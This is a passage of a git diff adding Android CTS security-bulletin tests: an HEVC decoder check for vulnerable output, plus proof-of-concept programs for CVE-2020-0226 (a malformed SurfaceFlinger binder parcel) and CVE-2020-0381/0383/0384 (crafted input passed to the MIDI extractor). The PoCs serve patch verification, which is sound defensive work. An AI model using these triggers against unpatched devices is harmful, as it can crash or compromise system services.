+ const C2GraphicView output =
+ work->worklets.front()->output.buffers[0]->data().graphicBlocks().front().map().get();
+ uint8_t* uPlane = const_cast<uint8_t*>(output.data()[C2PlanarLayout::PLANE_U]);
+ uint8_t* vPlane = const_cast<uint8_t*>(output.data()[C2PlanarLayout::PLANE_V]);
+ const uint8_t ul[] = {109, 109, 109, 109, 109, 109, 109};
+ const uint8_t vl[] = {121, 121, 121, 121, 121, 121, 121};
+ const uint8_t ur[] = {114, 114, 120, 120, 122, 127, 127};
+ const uint8_t vr[] = {126, 121, 123, 121, 123, 126, 126};
+ if (!memcmp(uPlane - 7, ul, 7) && !memcmp(vPlane - 7, vl, 7) &&
+ !memcmp(uPlane + 1, ur, 7) && !memcmp(vPlane + 1, vr, 7)) {
+ mHasVulnerability |= true;
+ }
+ }
+
+ // Config output pixel format
+ bool configPixelFormat(uint32_t format) {
+ std::vector<std::unique_ptr<C2SettingResult>> failures;
+ C2StreamPixelFormatInfo::output pixelformat(0u, format);
+
+ std::vector<C2Param*> configParam{&pixelformat};
+ c2_status_t status = mComponent->config(configParam, C2_DONT_BLOCK, &failures);
+ if (status == C2_OK && failures.size() == 0u) {
+ return true;
+ }
+ return false;
+ }
+
+ // callback function to process onWorkDone received by Listener
+ void handleWorkDone(std::list<std::unique_ptr<C2Work>>& workItems) {
+ for (std::unique_ptr<C2Work>& work : workItems) {
+ if (!work->worklets.empty()) {
+ // For decoder components current timestamp always exceeds
+ // previous timestamp if output is in display order
+ mWorkResult |= work->result;
+ bool codecConfig =
+ ((work->worklets.front()->output.flags & C2FrameData::FLAG_CODEC_CONFIG) != 0);
+ if (!codecConfig && !work->worklets.front()->output.buffers.empty()) {
+ checkBufferOK(work);
+ }
+ bool mCsd = false;
+ workDone(mComponent, work, mFlushedIndices, mQueueLock, mQueueCondition, mWorkQueue,
+ mEos, mCsd, mFramesReceived);
+ (void)mCsd;
+ }
+ }
+ }
+
+ const std::string mComponentName = "c2.android.hevc.decoder";
+ bool mEos;
+ bool mHasVulnerability;
+ uint64_t mTimestampUs;
+ int32_t mWorkResult;
+ uint32_t mFramesReceived;
+ std::list<uint64_t> mFlushedIndices;
+
+ C2BlockPool::local_id_t mBlockPoolId;
+ std::shared_ptr<C2BlockPool> mLinearPool;
+ std::shared_ptr<C2Allocator> mLinearAllocator;
+
+ std::mutex mQueueLock;
+ std::condition_variable mQueueCondition;
+ std::list<std::unique_ptr<C2Work>> mWorkQueue;
+
+ std::shared_ptr<android::Codec2Client> mClient;
+ std::shared_ptr<android::Codec2Client::Listener> mListener;
+ std::shared_ptr<android::Codec2Client::Component> mComponent;
+};
+
+// process onWorkDone received by Listener
+void workDone(const std::shared_ptr<android::Codec2Client::Component>& component,
+ std::unique_ptr<C2Work>& work, std::list<uint64_t>& flushedIndices,
+ std::mutex& queueLock, std::condition_variable& queueCondition,
+ std::list<std::unique_ptr<C2Work>>& workQueue, bool& eos, bool& csd,
+ uint32_t& framesReceived) {
+ // handle configuration changes in work done
+ if (work->worklets.front()->output.configUpdate.size() != 0) {
+ std::vector<std::unique_ptr<C2Param>> updates =
+ std::move(work->worklets.front()->output.configUpdate);
+ std::vector<C2Param*> configParam;
+ std::vector<std::unique_ptr<C2SettingResult>> failures;
+ for (size_t i = 0; i < updates.size(); ++i) {
+ C2Param* param = updates[i].get();
+ if (param->index() == C2StreamInitDataInfo::output::PARAM_TYPE) {
+ C2StreamInitDataInfo::output* csdBuffer = (C2StreamInitDataInfo::output*)(param);
+ size_t csdSize = csdBuffer->flexCount();
+ if (csdSize > 0) {
+ csd = true;
+ }
+ } else if ((param->index() == C2StreamSampleRateInfo::output::PARAM_TYPE) ||
+ (param->index() == C2StreamChannelCountInfo::output::PARAM_TYPE) ||
+ (param->index() == C2StreamPictureSizeInfo::output::PARAM_TYPE)) {
+ configParam.push_back(param);
+ }
+ }
+ component->config(configParam, C2_DONT_BLOCK, &failures);
+ assert(failures.size() == 0u);
+ }
+ if (work->worklets.front()->output.flags != C2FrameData::FLAG_INCOMPLETE) {
+ ++framesReceived;
+ eos = (work->worklets.front()->output.flags & C2FrameData::FLAG_END_OF_STREAM) != 0;
+ auto frameIndexIt = std::find(flushedIndices.begin(), flushedIndices.end(),
+ work->input.ordinal.frameIndex.peeku());
+ work->input.buffers.clear();
+ work->worklets.clear();
+ {
+ typedef std::unique_lock<std::mutex> ULock;
+ ULock l(queueLock);
+ workQueue.push_back(std::move(work));
+ if (!flushedIndices.empty() && (frameIndexIt != flushedIndices.end())) {
+ flushedIndices.erase(frameIndexIt);
+ }
+ queueCondition.notify_all();
+ }
+ }
+}
+
+bool decodeNFrames(const std::shared_ptr<android::Codec2Client::Component>& component,
+ std::mutex& queueLock, std::condition_variable& queueCondition,
+ std::list<std::unique_ptr<C2Work>>& workQueue,
+ std::list<uint64_t>& flushedIndices, std::shared_ptr<C2BlockPool>& linearPool,
+ std::ifstream& ifStream, android::Vector<FrameInfo>* Info) {
+ typedef std::unique_lock<std::mutex> ULock;
+ int frameID = 0;
+ int retryCount = 0;
+ while (1) {
+ if (frameID == (int)Info->size()) {
+ break;
+ }
+ uint32_t flags = 0;
+ std::unique_ptr<C2Work> work;
+ // Prepare C2Work
+ while (!work && (retryCount < MAXIMUM_NUMBER_OF_RETRIES)) {
+ ULock l(queueLock);
+ if (!workQueue.empty()) {
+ work.swap(workQueue.front());
+ workQueue.pop_front();
+ } else {
+ queueCondition.wait_for(l, QUEUE_TIMEOUT);
+ ++retryCount;
+ }
+ }
+ if (!work && (retryCount >= MAXIMUM_NUMBER_OF_RETRIES)) {
+ return false; // "Wait for generating C2Work exceeded timeout"
+ }
+ int64_t timestamp = (*Info)[frameID].timestamp;
+ if ((*Info)[frameID].flags) {
+ flags = (1 << ((*Info)[frameID].flags - 1));
+ }
+ if (frameID == (int)Info->size() - 1) {
+ flags |= C2FrameData::FLAG_END_OF_STREAM;
+ }
+
+ work->input.flags = (C2FrameData::flags_t)flags;
+ work->input.ordinal.timestamp = timestamp;
+ work->input.ordinal.frameIndex = frameID;
+ {
+ ULock l(queueLock);
+ flushedIndices.emplace_back(frameID);
+ }
+
+ int size = (*Info)[frameID].bytesCount;
+ char* data = (char*)malloc(size);
+ if (!data) {
+ return false;
+ }
+
+ ifStream.read(data, size);
+ if (ifStream.gcount() != size) {
+ return false;
+ }
+
+ work->input.buffers.clear();
+ auto alignedSize = ALIGN(size, PAGE_SIZE);
+ if (size) {
+ std::shared_ptr<C2LinearBlock> block;
+ if (linearPool->fetchLinearBlock(alignedSize,
+ {C2MemoryUsage::CPU_READ, C2MemoryUsage::CPU_WRITE},
+ &block) != C2_OK) {
+ return false;
+ }
+ if (!block) {
+ return false;
+ }
+
+ // Write View
+ C2WriteView view = block->map().get();
+ if (view.error() != C2_OK) {
+ return false;
+ }
+ if ((size_t)alignedSize != view.capacity()) {
+ return false;
+ }
+ if (0u != view.offset()) {
+ return false;
+ }
+ if ((size_t)alignedSize != view.size()) {
+ return false;
+ }
+
+ memcpy(view.base(), data, size);
+
+ work->input.buffers.emplace_back(new LinearBuffer(block, size));
+ free(data);
+ }
+ work->worklets.clear();
+ work->worklets.emplace_back(new C2Worklet);
+ std::list<std::unique_ptr<C2Work>> items;
+ items.push_back(std::move(work));
+
+ // DO THE DECODING
+ if (component->queue(&items) != C2_OK) {
+ return false;
+ }
+ ++frameID;
+ retryCount = 0;
+ }
+ return true;
+}
+
+// Wait for all the inputs to be consumed by the plugin.
+void waitOnInputConsumption(std::mutex& queueLock, std::condition_variable& queueCondition,
+ std::list<std::unique_ptr<C2Work>>& workQueue,
+ size_t bufferCount = MAXIMUM_NUMBER_OF_INPUT_BUFFERS) {
+ typedef std::unique_lock<std::mutex> ULock;
+ uint32_t queueSize;
+ uint32_t retryCount = 0;
+ {
+ ULock l(queueLock);
+ queueSize = workQueue.size();
+ }
+ while ((retryCount < MAXIMUM_NUMBER_OF_RETRIES) && (queueSize < bufferCount)) {
+ ULock l(queueLock);
+ if (queueSize != workQueue.size()) {
+ queueSize = workQueue.size();
+ retryCount = 0;
+ } else {
+ queueCondition.wait_for(l, QUEUE_TIMEOUT);
+ ++retryCount;
+ }
+ }
+}
+
+// Populate Info vector and return number of CSDs
+int32_t populateInfoVector(std::string info, android::Vector<FrameInfo>* frameInfo) {
+ std::ifstream eleInfo;
+ eleInfo.open(info);
+ if (!eleInfo.is_open()) {
+ return -1;
+ }
+ int32_t numCsds = 0;
+ int32_t bytesCount = 0;
+ uint32_t flags = 0;
+ uint32_t timestamp = 0;
+ while (1) {
+ if (!(eleInfo >> bytesCount)) {
+ break;
+ }
+ eleInfo >> flags;
+ eleInfo >> timestamp;
+ bool codecConfig = flags ? ((1 << (flags - 1)) & C2FrameData::FLAG_CODEC_CONFIG) != 0 : 0;
+ if (codecConfig) {
+ ++numCsds;
+ }
+ frameInfo->push_back({bytesCount, flags, timestamp});
+ }
+ eleInfo.close();
+ return numCsds;
+}
+
+#define RETURN_FAILURE(condition) \
+ if ((condition)) { \
+ return EXIT_FAILURE; \
+ }
+
+int main(int argc, char** argv) {
+ RETURN_FAILURE(argc != 3);
+
+ Codec2VideoDecHidlTestBase handle;
+ RETURN_FAILURE(!handle.SetUp());
+ RETURN_FAILURE(!handle.configPixelFormat(HAL_PIXEL_FORMAT_YCBCR_420_888));
+
+ std::string eleStreamInfo{argv[2]};
+ android::Vector<FrameInfo> Info;
+ RETURN_FAILURE(populateInfoVector(eleStreamInfo, &Info) < 0);
+ RETURN_FAILURE(handle.mComponent->start() != C2_OK);
+
+ std::string eleStream{argv[1]};
+ std::ifstream ifStream;
+ ifStream.open(eleStream, std::ifstream::binary);
+ RETURN_FAILURE(!ifStream.is_open());
+ RETURN_FAILURE(!decodeNFrames(handle.mComponent, handle.mQueueLock, handle.mQueueCondition,
+ handle.mWorkQueue, handle.mFlushedIndices, handle.mLinearPool,
+ ifStream, &Info));
+ // blocking call to ensures application to Wait till all the inputs are
+ // consumed
+ if (!handle.mEos) {
+ waitOnInputConsumption(handle.mQueueLock, handle.mQueueCondition, handle.mWorkQueue);
+ }
+ ifStream.close();
+ RETURN_FAILURE(handle.mFramesReceived != Info.size());
+ RETURN_FAILURE(handle.mComponent->stop() != C2_OK);
+ RETURN_FAILURE(handle.mWorkResult != C2_OK);
+ if (handle.mHasVulnerability) {
+ return EXIT_VULNERABLE;
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp
new file mode 100644
index 0000000..13f6fc3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0226",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libutils",
+ "libbinder",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp
new file mode 100644
index 0000000..c41ddf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp
@@ -0,0 +1,55 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+
+constexpr uint8_t kCount = 128;
+constexpr size_t kPosition = 104;
+
+using namespace android;
+
+int main() {
+ sp < IServiceManager > sm = defaultServiceManager();
+ if (!sm) {
+ return EXIT_FAILURE;
+ }
+ String16 name(String16("SurfaceFlinger"));
+ sp < IBinder > service = sm->checkService(name);
+ if (!service) {
+ return EXIT_FAILURE;
+ }
+
+ uint32_t code = 2, flags = 0;
+ Parcel data1, reply1;
+ data1.writeInterfaceToken(service->getInterfaceDescriptor());
+ service->transact(code, data1, &reply1, flags);
+ sp < IBinder > binder = reply1.readStrongBinder();
+ if (!binder) {
+ return EXIT_FAILURE;
+ }
+
+ Parcel data2, reply2;
+ data2.writeInterfaceToken(binder->getInterfaceDescriptor());
+ for (uint8_t n = 0; n < kCount; ++n) {
+ data2.writeInt32(1);
+ }
+ data2.setDataPosition(kPosition);
+ data2.writeStrongBinder(binder);
+ binder->transact(code, data2, &reply2, flags);
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp
new file mode 100644
index 0000000..9f254e3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0381",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include/android",
+ "frameworks/av/media/libmedia/include",
+ "frameworks/av/media/libstagefright/foundation/include",
+ "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+ "frameworks/av/media/libstagefright/include",
+ "frameworks/av/media/libstagefright/include/media/stagefright",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediandk",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
+ }
+
+ ~XMFDataSource() = default;
+
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+ size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
+ }
+
+ virtual status_t getSize(off64_t *size) {
+ *size = 0x10000;
+ return 0;
+ }
+ virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
+}
+
+int main(int argc, char **argv) {
+ if (argc < 3) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_ALL;
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ int fdData = open(argv[1], O_RDONLY);
+ if (fdData < 0) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ int fdInfo = open(argv[2], O_RDONLY);
+ if (fdInfo < 0) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+ if (!dataSource) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+
+ float confidence = 0.0f;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ }
+
+ close_resources(fdData, fdInfo, libHandle);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/Android.bp
new file mode 100644
index 0000000..1965f50
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0383",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include",
+ "frameworks/av/media/libmedia/include/android",
+ "frameworks/av/media/libstagefright/include",
+ "frameworks/av/media/libstagefright/foundation/include",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediandk",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp
new file mode 100644
index 0000000..313f21a7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
+ }
+
+ ~XMFDataSource() = default;
+
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+ size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
+ }
+
+ virtual status_t getSize(off64_t *size) {
+ *size = 0x10000;
+ return 0;
+ }
+ virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
+}
+
+int main(int argc, char **argv) {
+ if (argc < 3) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_ALL;
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ int fdData = open(argv[1], O_RDONLY);
+ if (fdData < 0) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ int fdInfo = open(argv[2], O_RDONLY);
+ if (fdInfo < 0) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+ if (!dataSource) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+
+ float confidence = 0.0f;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ }
+
+ close_resources(fdData, fdInfo, libHandle);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp
new file mode 100644
index 0000000..5d00345
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0384",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include/android",
+ "frameworks/av/media/libmedia/include",
+ "frameworks/av/media/libstagefright/foundation/include",
+ "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+ "frameworks/av/media/libstagefright/include",
+ "frameworks/av/media/libstagefright/include/media/stagefright",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediandk",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
+ }
+
+ ~XMFDataSource() = default;
+
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+ size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
+ }
+
+ virtual status_t getSize(off64_t *size) {
+ *size = 0x10000;
+ return 0;
+ }
+ virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
+}
+
+int main(int argc, char **argv) {
+ if (argc < 3) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_ALL;
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ int fdData = open(argv[1], O_RDONLY);
+ if (fdData < 0) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ int fdInfo = open(argv[2], O_RDONLY);
+ if (fdInfo < 0) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+ if (!dataSource) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+
+ float confidence = 0.0f;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
